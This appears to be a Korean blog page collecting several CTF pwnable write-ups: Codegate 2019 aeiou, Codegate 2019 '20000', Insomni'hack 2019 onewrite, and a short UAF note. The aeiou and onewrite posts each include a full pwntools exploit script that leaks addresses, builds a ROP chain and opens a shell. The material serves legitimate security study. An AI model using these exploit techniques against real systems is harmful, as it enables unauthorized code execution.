RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
마찬가지로 모든 보호기법이 다 걸려있습니다. 이번 문제의 취약점은 UAF
입니다. name
와 msg
가 모두 0x30
으로 malloc되고, 값이 리셋되거나 초기화되지않기때문에 puts
로 puts
를 leak
할 수 있고, puts
자리에 system
함수를 넣어서 /bin/sh
를 실행시킬 수도 있다.
'Write-up > Pwnable' 카테고리의 다른 글
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
---|---|
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[Insomni'hack 2019] onewrite writeup (0) | 2019.01.21 |
[Codegate 2019] aeiou Write-up
Description
nc 110.10.147.109 17777
주어진 바이너리를 실행하면 아래와 같은 메뉴를 확인할 수 있다.
Raising a Baby
-------------------------------------
[1] Play with Cards
[2] Clearing the Cards
[3] Teaching numbers
[4] Sleeping the Baby
[5] Dancing with Baby!
[6] Give the child blocks!
[7] Sleep me
--------------------------------------
>>
하지만 어떤 메뉴를 선택하든 프로그램은 그 메뉴를 한번 실행하고 종료되기 때문에, 단 한 번에 공격이 이루어져야 한다. 바이너리를 분석해보면 pthread_create함수
로 새로운 스레드를 생성하여 start_routine
함수를 실행하는 부분이 있다. 이 start_rountine
(0x4013AA)함수의 C 의사코드는 아래와 같다.
버퍼는 0x1000만큼 할당되어있지만 입력은 0x10000만큼 입력할 수 있다. 이는 BOF가 있음을 알려준다.
[*] '/home/myria/CTF/CODEGATE/aeiou/aeiou'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
하지만 카나리가 있기 때문에 BOF를 통해 바로 return address를 덮어씌울 방법이 없다. 이를 우회하기위해 pthread_create함수가 이용된다. 스레드가 pthread_create함수에 의해 생성될 경우, 스레드의 스택에 Thread Local Storage(TLS)
를 사용하여 변수를 저장한다. 즉, 스레드의 스택에 stack_guard
(=카나리값)이 존재하기 때문에 이를 덮어씌우면 BOF를 사용하여 RIP를 컨트롤 할 수 있다.
이제 ROP기법
을 이용하여 라이브러리 주소를 유출(leak)하고 원샷가젯 (execve("/bin/sh", rsp+0x30, environ))
을 실행하면 된다.
Full exploit code
from pwn import *
conn = remote("110.10.147.109", 17777)
#conn = process("./aeiou")
def Teaching(num, data):
conn.recvuntil(">>")
conn.sendline("3")
conn.recvuntil("Let me know the number!\n")
conn.sendline(str(num))
conn.send(data)
pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
bss_addr = 0x604110
# leak atol (libc_address)
payload = p64(pop_rdi) # pop rdi; ret;
payload += p64(0x603FC0) # atol@GOT
payload += p64(0x400B58) # jmp puts@PLT
# read(0, 0x602030, SIZE) %% rdi=0, rsi=0x602030, rdx = big value
payload += p64(pop_rdi) # pop rdi; ret;
payload += p64(0) # stdin
payload += p64(pop_rsi_r15) # pop rsi; pop r15; ret;
payload += p64(bss_addr)
payload += p64(0) # r15 <= garbage
payload += p64(0x400B88) # jmp read@PLT
# rsp -> bss
payload += p64(0x4026ed) # pop rsp; pop r13; pop r14; pop r15; ret
payload += p64(bss_addr)
Data = "A"*(0x1010-8)
Data += p64(0xdeadbeefcafebabe) # fake canary
Data += "B"*8 # sfp
Data += payload # rop chain
Data += "C" * (2000-len(payload)) # rop chain
Data += p64(0xdeadbeefcafebabe) # fake canary
Teaching(0x1010 + 2008 + 8, Data)
# leak
conn.recvuntil("Thank You :)\n")
libc_base = u64(conn.recv(6).ljust(8, "\x00")) - 0x36ea0
log.info("libc_base: " + hex(libc_base))
"""
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
"""
one_gadget = libc_base + 0x4526a
log.info("oneshot : " + hex(one_gadget))
payload = p64(0) * 3 # pop r13; pop r14; pop r15; ret
payload += p64(one_gadget)
payload += '\x00' * 0x40 ## [rsp+0x30] == NULL
conn.sendline(payload)
conn.interactive()
'Write-up > Pwnable' 카테고리의 다른 글
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
---|---|
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[Insomni'hack 2019] onewrite writeup (0) | 2019.01.21 |
[0ctf 2017] babyheap (0) | 2018.10.20 |
[Codegate 2019] 20000 ( grep 이용하기)
필자의 팀은 bash 우회(\b\a\s\h)와 세미콜론 우회(ctrl+v + ctrl+j)를 통해 풀었으나..
타팀의 writeup을 보고 감탄해마지않아 글을 쓴다...
grep을 저렇게 멋지게 활용할 수 있다니 감탄할 따름.
grep -rnw "system" | wc -l /// system을 포함하는 라이브러리 갯수 출력
grep -rnw "exit" | wc -l // exit를 포함하는 라이브러리 갯수 출력
grep -rnw "ls \"%s\"" | wc -l // ls "%s" 를 포함하는 라이브러리 갯수 출력
-r, --recursive : 서브 디렉토리의 파일까지 모두 출력 출처
-n, --line-number : 문자열이 들어있는 라인과 문두에 라인번호를 출력
-w, --word-regexp : pattern 이 전체 단어와 일치하는 줄만 출력, 단어의 일부로써 일치하는 경우가 아닌, 하나의 단어로써 일치하는 줄이 출력.
20000개중 exit인 15000개빼고 또 남은것중에 ls가 포함된 4999인것을 빼면 남는게 1개...
그 1개가 system(&s)인 라이브러리...
grep을 이리 멋지게 활용하다니... 대단;
나중에 써먹어야지 ㅎㅎ
'Write-up > Pwnable' 카테고리의 다른 글
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
---|---|
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[Insomni'hack 2019] onewrite writeup (0) | 2019.01.21 |
[0ctf 2017] babyheap (0) | 2018.10.20 |
[9447 CTF 2015] Search Engine (1) | 2018.09.30 |
[Insomni'hack 2019] onewrite writeup
Description
is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337
간단한 문제입니다.
All you need to pwn nowadays is a leak and a qword write they say... What do you want to leak ? 1. stack 2. pie > 1 0x7fff979bf4a0 address : 140735736968352 data : 12345678
프로그램을 실행하면 stack
이나 do_leak
함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다.
그 후, do_overwrite
함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다.
[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled and binary is "statically linked"
그러나 바이너리가 정적링크(statically linked)이기 때문에 stack
과 pie
둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.
- Leak
PIE
address - Overwrite
pie_addr + 0x2a55a3
withmain
address - Program end. And the
exit
will be called aftermain
returns.
(it call__libc_csu_fini
function) __libc_csu_fini
function callQWORD [pie_addr + 0x2a55a3]
. so we again jump tomain
function.- Leak
Stack
address - Write a
ropchain
in thebss
- Jump
ropchain
- Get Shell
main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini
가 호출됩니다. 여기 <__ libc_csu_fini+40>
에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.
6. Write a 'ropchain' in the 'bss'
이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다.
return address를 조작할 때, 함수의 프롤로그와 에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.
main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)
그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.
이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret
을 사용하여 ropchain을 실행하면 됩니다.
English writeup
The full exploit code
from pwn import * #conn = remote("onewrite.teaser.insomnihack.ch", 1337) conn = process("onewrite") def leak(select): conn.recvuntil(" > ") conn.sendline(str(select)) leak_addr = int(conn.recvline().strip(), 16) return leak_addr def write(addr, data): conn.recvuntil("address : ") conn.send(str(addr)) conn.recvuntil("data : ") conn.send(data) ## Stage 1 # do_leak func address leak pie_addr = leak(2) log.info("pie_address : " + hex(pie_addr)) target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0 // call QWORD PTR [rbp+rbx*8+0x0] main = pie_addr + 0xa3 # main function address write(target, p64(main)) ## Stage 2 # stack_address leak stack_addr = leak(1) target = stack_addr + 0x28 # return address (main function) log.info("stack_address : " + hex(stack_addr)) write(target, p64(main)) def write_arbitrary(addr, data): # stack_address += 8 stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) target = stack_addr + 0x28 write(target, p64(main)) # stack_address -= 8 stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) target = stack_addr + 0x18 write(target, p64(main)) # main_ret => main # free write! and return Main stack_addr = leak(1) log.info("stack_address : " + hex(stack_addr)) log.info("writing") write(addr, data) # free write # rop_gadget pie_base = pie_addr - 0x000008A15 pop_rdi = pie_base + 0x000858fb pop_rsi = pie_base + 0x0008551a pop_rdx = pie_base + 0x000484c5 pop_rax = pie_base + 0x0004654c syscall = pie_base + 0x00088834 bss_address = pie_base + 0x2B38D0 log.info("pie_base : " + hex(pie_base)) # write "/bin/sh" to BSS write_arbitrary(bss_address, "/bin/sh\x00") idx = 2 def rop(data): global idx write_arbitrary(bss_address + idx*8, p64(data)) idx+=1 # write rop_chain to BSS rop(pop_rdi) rop(bss_address) rop(pop_rsi) rop(0) rop(pop_rdx) rop(0) rop(pop_rax) rop(59) rop(syscall) def trigger_rop(): stack_addr = leak(1) target = stack_addr + 0x28 log.info("stack_address : " + hex(stack_addr)) write(target, p64(main)) pop_rsp = pie_base + 0x00087c46 rop_chain = bss_address + 0x10 # jump ropchain write_arbitrary(stack_addr + 0x40, p64(pop_rsp)) write_arbitrary(stack_addr + 0x48, p64(rop_chain)) trigger_rop() leak(1) write(1,"id\n") conn.interactive()
'Write-up > Pwnable' 카테고리의 다른 글
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
---|---|
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[0ctf 2017] babyheap (0) | 2018.10.20 |
[9447 CTF 2015] Search Engine (1) | 2018.09.30 |
[noxCTF] The Black Canary writeup (0) | 2018.09.13 |